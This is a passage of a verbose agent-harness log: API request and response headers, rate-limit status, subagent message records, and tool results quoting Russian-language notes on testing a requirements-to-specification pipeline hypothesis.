\u043f\u0440\u0430\u0432\u0438\u043b\u0443, \u043f\u043e\u044d\u0442\u043e\u043c\u0443\\n   \u0441\u043c\u0435\u0448\u0435\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u043d\u0438\u0436\u0430\u0435\u0442\u0441\u044f, \u0430 \u043d\u0435 \u0437\u0430\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f.\\n4. **`sip-trunk` \u043c\u0430\u043b** \u2014 39 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, \u0438\u0437 \u043d\u0438\u0445 13 \u0448\u0443\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u0430. \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u043e\\n   `P-DEVICE` \u043e\u043f\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u043d\u0430 26 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u0442\u0440\u043e\u043a \u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435\u043c, \u0430\\n   \u043d\u0435 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u043e\u0439.\",\n[2026-09-29T07:45:39.203Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:39.203Z] [INFO]       }\n[2026-09-29T07:45:39.203Z] [INFO]     ]\n[2026-09-29T07:45:39.203Z] [INFO]   },\n[2026-09-29T07:45:39.203Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:39.203Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:39.203Z] [INFO]   \"uuid\": \"7a1c78b4-83e4-41e2-bf0b-c155340f946a\",\n[2026-09-29T07:45:39.203Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:39.188Z\",\n[2026-09-29T07:45:39.203Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:39.203Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:39.203Z] [INFO] }\n[2026-09-29T07:45:39.257Z] [STDOUT] [log_e53b6a] sending request {\n[2026-09-29T07:45:39.260Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:39.262Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:39.265Z] [STDOUT]   options: {\n[2026-09-29T07:45:39.267Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:39.275Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:39.282Z] [STDOUT]     body: {\n[2026-09-29T07:45:39.291Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:39.295Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:39.298Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:39.299Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:39.302Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:39.307Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:39.311Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:39.313Z] [STDOUT]       context_management: [Object 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\"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:39.482Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:39.486Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:39.491Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:39.495Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:39.499Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:39.506Z] [STDOUT]   },\n[2026-09-29T07:45:39.513Z] [STDOUT] }\n[2026-09-29T07:45:39.730Z] [STDOUT] [log_6e34dc, request-id: \"req_011CfXMmnbCXWPzBFuaeDPSk\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 998ms\n[2026-09-29T07:45:39.744Z] [STDOUT] [log_6e34dc] response start {\n[2026-09-29T07:45:39.754Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:39.760Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:39.766Z] [STDOUT]   headers: {\n[2026-09-29T07:45:39.769Z] [STDOUT] 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response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:39.971Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:39 GMT\",\n[2026-09-29T07:45:39.976Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:39.985Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:39.999Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:40.004Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:40.010Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:40.020Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:40.030Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:40.043Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:40.054Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:40.062Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:40.066Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:40.071Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:40.084Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:40.095Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:40.101Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:40.132Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:40.153Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:40.157Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:40.163Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:40.167Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:40.174Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:40.180Z] [STDOUT]   \"request-id\": \"req_011CfXMmnbCXWPzBFuaeDPSk\",\n[2026-09-29T07:45:40.198Z] [STDOUT]   \"traceresponse\": \"00-121ed43b81aca1cfe8e35bd148697231-7aa8675903d92937-01\",\n[2026-09-29T07:45:40.209Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:40.216Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:40.221Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:40.226Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:40.236Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:40.243Z] [STDOUT]   \"cf-ray\": \"a4295e991e554d8b-FRA\",\n[2026-09-29T07:45:40.247Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:40.251Z] [STDOUT] [log_6e34dc] response parsed {\n[2026-09-29T07:45:40.256Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:40.261Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:40.267Z] [STDOUT]   body: X {\n[2026-09-29T07:45:40.270Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:40.280Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:40.283Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:40.293Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:40.296Z] [STDOUT]     },\n[2026-09-29T07:45:40.299Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:40.305Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:40.308Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:40.320Z] [STDOUT]   },\n[2026-09-29T07:45:40.329Z] [STDOUT]   durationMs: 999,\n[2026-09-29T07:45:40.334Z] [STDOUT] }\n[2026-09-29T07:45:40.337Z] [STDOUT] [log_e53b6a, request-id: \"req_011CfXMmpmfQBnHj9di3Ht5P\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 948ms\n[2026-09-29T07:45:40.342Z] [STDOUT] [log_e53b6a] response start {\n[2026-09-29T07:45:40.347Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:40.356Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:40.361Z] [STDOUT]   headers: {\n[2026-09-29T07:45:40.365Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:40.370Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:40.378Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:40.382Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:40.388Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:40.390Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:40.395Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:40.400Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:40.404Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:40.407Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:40.409Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:40.411Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:40.415Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:40.423Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:40.427Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:40.429Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:40.433Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:40.437Z] [STDOUT]     \"cf-ray\": \"a4295e9c6fcb29ad-FRA\",\n[2026-09-29T07:45:40.445Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:40.449Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:40.452Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:40.456Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:40.461Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:40 GMT\",\n[2026-09-29T07:45:40.466Z] [STDOUT]     \"request-id\": \"req_011CfXMmpmfQBnHj9di3Ht5P\",\n[2026-09-29T07:45:40.468Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:40.471Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:40.478Z] [STDOUT]     traceresponse: \"00-c181078de8e6a7a44f7635046f59fab3-75c79e03a25f7ed2-01\",\n[2026-09-29T07:45:40.482Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:40.494Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:40.505Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:40.517Z] [STDOUT]   },\n[2026-09-29T07:45:40.538Z] [STDOUT]   durationMs: 948,\n[2026-09-29T07:45:40.544Z] [STDOUT] }\n[2026-09-29T07:45:40.553Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:40.575Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:40 GMT\",\n[2026-09-29T07:45:40.577Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:40.580Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:40.582Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:40.583Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:40.587Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:40.588Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:40.594Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:40.596Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:40.599Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:40.601Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:40.603Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:40.604Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:40.606Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:40.608Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:40.612Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:40.613Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:40.615Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:40.617Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:40.619Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:40.621Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:40.624Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:40.627Z] [STDOUT]   \"request-id\": \"req_011CfXMmpmfQBnHj9di3Ht5P\",\n[2026-09-29T07:45:40.633Z] [STDOUT]   \"traceresponse\": \"00-c181078de8e6a7a44f7635046f59fab3-75c79e03a25f7ed2-01\",\n[2026-09-29T07:45:40.637Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:40.641Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:40.646Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:40.651Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:40.655Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:40.662Z] [STDOUT]   \"cf-ray\": \"a4295e9c6fcb29ad-FRA\",\n[2026-09-29T07:45:40.688Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:40.691Z] [STDOUT] [log_e53b6a] response parsed {\n[2026-09-29T07:45:40.698Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:40.703Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:40.706Z] [STDOUT]   body: X {\n[2026-09-29T07:45:40.708Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:40.714Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:40.718Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:40.719Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:40.721Z] [STDOUT]     },\n[2026-09-29T07:45:40.724Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:40.726Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:40.727Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:40.729Z] [STDOUT]   },\n[2026-09-29T07:45:40.731Z] [STDOUT]   durationMs: 949,\n[2026-09-29T07:45:40.733Z] [STDOUT] }\n[2026-09-29T07:45:40.830Z] [INFO] {\n[2026-09-29T07:45:40.830Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:40.830Z] [INFO]   \"message\": {\n[2026-09-29T07:45:40.830Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:40.830Z] [INFO]     \"id\": \"msg_011CfXMmoS4Ao5L6xLGwjS7p\",\n[2026-09-29T07:45:40.830Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:40.830Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:40.830Z] [INFO]     \"content\": [\n[2026-09-29T07:45:40.830Z] [INFO]       {\n[2026-09-29T07:45:40.830Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:40.830Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:40.830Z] [INFO]         \"signature\": \"CAQS+AUKEAgSGAI4AUIIdGhpbmtpbmcSDIH3UtWnGQ5SnF23wRoMNKmYNbVi9z/WbU04IjAkdGp34JdwHtKMbP6mUbue1K8IQSY7lHB1jYl9jOBwfQDL9LqAqJFK/664Pqk62p4qlQUQxOTboEzxJCysWn7MaAiLm2u5UQLQmK3W72qKFbxPFhMWHoSwCxeeqv4qG3gnEi427YH4eUmBwspgDIOIgV3ADm2EIw3fem4EBhewKukZz+t0vCGPvd8Mu2gnfAHA3AkAC4iEgfQR1PkL6+AmzFRuTlVPrppK4t/QkuR0QqnK7zKuiuOIxEc9iyWKeK+flJT1uEc0ZpJR56/2NtSHvggN2zpcBTh0dOoPttIbE7B8V94HuXkFu4BiFw8LrCQV6TFeiQJrDyC2ZxuWg2RsoEReomoSB3JhCcxtqj62sLWFeHhlcDKUq33THODcyqnqzstG1AXdxvLy/hIH+Sy/mtwVIzGC/YKgTsn5yRjYGMpxxexKSXk5SGNVeQ6DdrYqA+CnljRihlQcmRcC1NAiqM9/bwYU24hzxeZnXmGl480JtkjdQHe4KbEYyeG8vcs8yAs67BtNd9uqW3igh4emJ3VLcT5PNLHtmHnioAVb/wBVIYwbNiJvql4ttdRKHzMgdyd0nUcvDAAiJ4C811r6OL0x0kW2kW4QdFKwt+dcrU/9vcmmCBBU54YMzfuGmvc8E2oBHY1rg5WR4viSroxI9byCva5ELgc/ycuBmJrse4bf+JokzeMJKfyDCn0vFsLbYy8TvUdfrSJmzrKnddBfL4pDM+Bu7RMEeqjI2XxdL5b9O686bXssFJfqxxT6lPsWbW2dgjnXgTqX8daPcIY5Mfck7UJ+C5NI1NgASgJbLkPQealylvQneYkx6/9rgpnDL+eqrbUGngpK12vNCj/LC3CW+2Iu7jsUAqa0yh7UjVYgfiLduky0ytwxfznODjBwLPcqYvDckp3IBw8zEI2vN0Hgx4dIThBPQeYBWiNd0SxPloqFxJ5mGAE=\"\n[2026-09-29T07:45:40.830Z] [INFO]       }\n[2026-09-29T07:45:40.830Z] [INFO]     ],\n[2026-09-29T07:45:40.830Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:40.830Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:40.830Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:40.830Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:40.830Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:40.830Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:40.830Z] [INFO]       \"cache_creation_input_tokens\": 4148,\n[2026-09-29T07:45:40.830Z] [INFO]       \"cache_read_input_tokens\": 62338,\n[2026-09-29T07:45:40.830Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:40.830Z] [INFO]         \"ephemeral_5m_input_tokens\": 4148,\n[2026-09-29T07:45:40.830Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:40.830Z] [INFO]       },\n[2026-09-29T07:45:40.830Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:45:40.830Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:40.830Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:40.830Z] [INFO]     },\n[2026-09-29T07:45:40.830Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:40.830Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:40.830Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:40.830Z] [INFO]   },\n[2026-09-29T07:45:40.830Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:40.830Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:40.830Z] [INFO]   \"uuid\": \"3e9aa1ec-40a0-4306-ae37-d060ad6cff9f\",\n[2026-09-29T07:45:40.830Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:40.823Z\",\n[2026-09-29T07:45:40.830Z] [INFO]   \"request_id\": \"req_011CfXMmnbCXWPzBFuaeDPSk\",\n[2026-09-29T07:45:40.830Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:40.830Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:40.830Z] [INFO] }\n[2026-09-29T07:45:41.023Z] [INFO] {\n[2026-09-29T07:45:41.023Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:41.023Z] [INFO]   \"message\": {\n[2026-09-29T07:45:41.023Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:41.023Z] [INFO]     \"id\": \"msg_011CfXMmqRrkjB7kHvs2gB4K\",\n[2026-09-29T07:45:41.023Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:41.023Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:41.023Z] [INFO]     \"content\": [\n[2026-09-29T07:45:41.023Z] [INFO]       {\n[2026-09-29T07:45:41.023Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:41.023Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:41.023Z] [INFO]         \"signature\": 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0.77,\n[2026-09-29T07:45:42.073Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T07:45:42.073Z] [INFO]       }\n[2026-09-29T07:45:42.073Z] [INFO]     }\n[2026-09-29T07:45:42.073Z] [INFO]   },\n[2026-09-29T07:45:42.073Z] [INFO]   \"uuid\": \"0e1200e0-6c44-450e-bd8b-98927ad310f8\",\n[2026-09-29T07:45:42.073Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:42.073Z] [INFO] }\n[2026-09-29T07:45:43.569Z] [INFO] {\n[2026-09-29T07:45:43.569Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:43.569Z] [INFO]   \"message\": {\n[2026-09-29T07:45:43.569Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:43.569Z] [INFO]     \"content\": [\n[2026-09-29T07:45:43.569Z] [INFO]       {\n[2026-09-29T07:45:43.569Z] [INFO]         \"tool_use_id\": \"toolu_01QZBiEGQ7dL5xQPQHjhixA6\",\n[2026-09-29T07:45:43.569Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:43.569Z] [INFO]         \"content\": \"22:# \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043e \u0441\u043b\u043e\u044f\u0445 `M0`\u2013`M2`\\n24:> **\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435.** \u042d\u0442\u043e \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f **\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0434\u043d\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b**, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0443\u043b\u044c\\n30:## 1. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\\n35:\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u00bb, \u0430 \u043a\u0430\u043a **\u0441\u043b\u043e\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430**:\\n47:\u0440\u0435\u0448\u0435\u043d\u0438\u0439 **\u0438 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0424\u0422**\u00bb, `M2` \u00ab\u0442\u0440\u0430\u043d\u0441\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f **\u0424\u0422 \u2192 \u0422\u0417** \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f\\n54:## 2. \u041a\u0430\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u043e\u0441\u044c\\n56:\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0443 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e **\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044c**. \u041e\u0431\u0435\\n61:| \u0414\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f | \u0422\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 | \u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u0435\u0441\u043b\u0438 |\\n62:| --- | --- | --- |\\n63:| \u041b\u0438\u043d\u0435\u0439\u043d\u0430\u044f (\u0432\u0435\u0440\u0441\u0438\u044f `0.1` RFC) | `C-TZ` \u2014 baseline \u0422\u0417 | \u043f\u0440\u043e\u0433\u043e\u043d **\u043f\u0440\u043e\u0438\u0437\u0432\u0451\u043b** \u0422\u0417 |\\n64:| \u0421\u043b\u043e\u0435\u0432\u0430\u044f (\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430) | `C-OUT` \u2014 \u043b\u044e\u0431\u043e\u0439 \u0432\u044b\u0434\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 | \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u0451\u043b **\u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u0438\u043d** \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 |\\n78:**\u0417\u043d\u0430\u043c\u0435\u043d\u0430\u0442\u0435\u043b\u044c.** \u0418\u0437 57 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 25 \u043d\u0435 \u0432\u044b\u0434\u0430\u043b\u0438 \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430: \u0432\u0441\u0435 25 